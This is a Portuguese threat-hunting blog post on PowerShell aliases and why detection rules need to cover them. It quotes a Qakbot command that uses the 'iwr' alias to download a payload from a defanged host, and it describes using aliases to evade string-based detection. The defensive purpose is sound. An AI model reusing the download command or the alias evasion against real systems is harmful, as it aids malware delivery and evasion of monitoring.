Caça a ameaças e aliases do PowerShell

Neste artigo, discutirei o que são aliases do Powershell e por que é importante mantê-los em mente ao executar atividades de caça a ameaças ou criar regras de detecção.

O que é um pseudônimo?

Como o nome sugere, um Alias ​​é um nome alternativo para um cmdlet ou comando do PowerShell. Depois que o Alias ​​for criado, você poderá usá-lo em vez do comando original.

PS > New-Alias -Name goto -Value Set-Location

O cmdlet Set-Locationé usado para alterar o diretório da pasta atual, depois de executar o comando acima, podemos alternar o diretório simplesmente usando gotoo comando.

Então, agora que sabemos o que são Aliases e como eles funcionam, vamos pular para coisas mais interessantes.

Aliases integrados

Já existem aliases embutidos no Powershell, que você provavelmente está usando sem saber que é de fato um alias, por exemplo:

  • curlcomando é um alias embutido paraInvoke-WebRequest
  • cdcomando (alterar diretório) é um alias embutido paraSet-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      
built-in aliases for starting a process
List of all cmdlets and its associated alias

Os invasores podem usar isso como uma Técnica de Evasão de Defesa contra regras de detecção baseadas em string.

Em uma amostra recente do Qakbot compartilhada por @ pr0xylife , a cadeia de infecção era — .one > .wsf > .cmd > ps > .dll — E o comando Powershell executado estava usando um dos aliases — iwr — paraInvoke-WebRequest

poweRshell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

Como existem vários aliases não muito conhecidos que podem ser abusados ​​pelo TA, criei uma pequena folha de dicas com alguns dos mais interessantes:

E, finalmente, é assim que Start-Processo comando using sapsaparecerá nos logs de eventos do Sysmon. Podemos confirmar que o alias não está “traduzido” em seu cmdlet original.

É muito comum desenvolver uma regra para detectar uma string específica de cmdlet do Powershell sem incluir todos os seus aliases integrados, o que pode resultar em uma ameaça não detectada.

Espero que você possa ter aprendido algo com este blog.

Obrigado pela leitura e boa caça!

Suggested posts

Coletando OSINT para caçar ameaças

Coletando OSINT para caçar ameaças

Olá, entusiastas cibernéticos! Bem-vindo de volta ao OSINT para a série de caça a ameaças. No primeiro artigo, apresentei uma visão geral do OSINT e sua importância na caça às ameaças.

Rastreie qualquer pessoa com apenas um número de telefone | Investigação OSINT

Rastreie qualquer pessoa com apenas um número de telefone | Investigação OSINT

Você pode ser um investigador OSINT, jogador CTF ou simplesmente alguém que está recebendo chamadas de spam. Alguém que está tentando verificar o número que você viu em um anúncio.

Related posts

A revolução no local de trabalho: os principais especialistas discutem o trabalho híbrido e remoto

A revolução no local de trabalho: os principais especialistas discutem o trabalho híbrido e remoto

No atual cenário de negócios em rápida evolução, o conceito de trabalho híbrido e remoto ganhou um impulso sem precedentes. À medida que as empresas continuam a se adaptar às mudanças nas necessidades e expectativas de seus funcionários, especialistas de várias áreas se reuniram para discutir os benefícios, os desafios e o futuro dessa forma transformadora de trabalhar.

That Threat Archive: Vol 7 Black Basta

That Threat Archive: Vol 7 Black Basta

No mundo interconectado de hoje, a ameaça de ataques cibernéticos é mais prevalente do que nunca. Criminosos cibernéticos e agentes de estado-nação estão constantemente buscando explorar vulnerabilidades e roubar dados valiosos, representando um risco significativo para organizações de todos os tamanhos.

Dois anos em design - O bom, o mau e o feio…

Dois anos em design - O bom, o mau e o feio…

“Ei, Siri, toque Me Dive, de Olivia Dean.” Era maio de 2021 quando comecei meu estágio na Future Academy Africa em Akure, Nigéria.

Financiando a remoção de carbono no FY24

A divisão das solicitações de apropriações da Carbon180 em todos os caminhos

Financiando a remoção de carbono no FY24

Por Alyson Lee, consultor administrativo de assuntos governamentais O processo de apropriações anuais do governo federal é fundamental para nossos esforços para financiar a remoção de dióxido de carbono (CDR). Todos os anos, a Carbon180 envia solicitações a vários escritórios do Congresso para ajudar a orientar para onde os dólares do próximo ano irão fluir.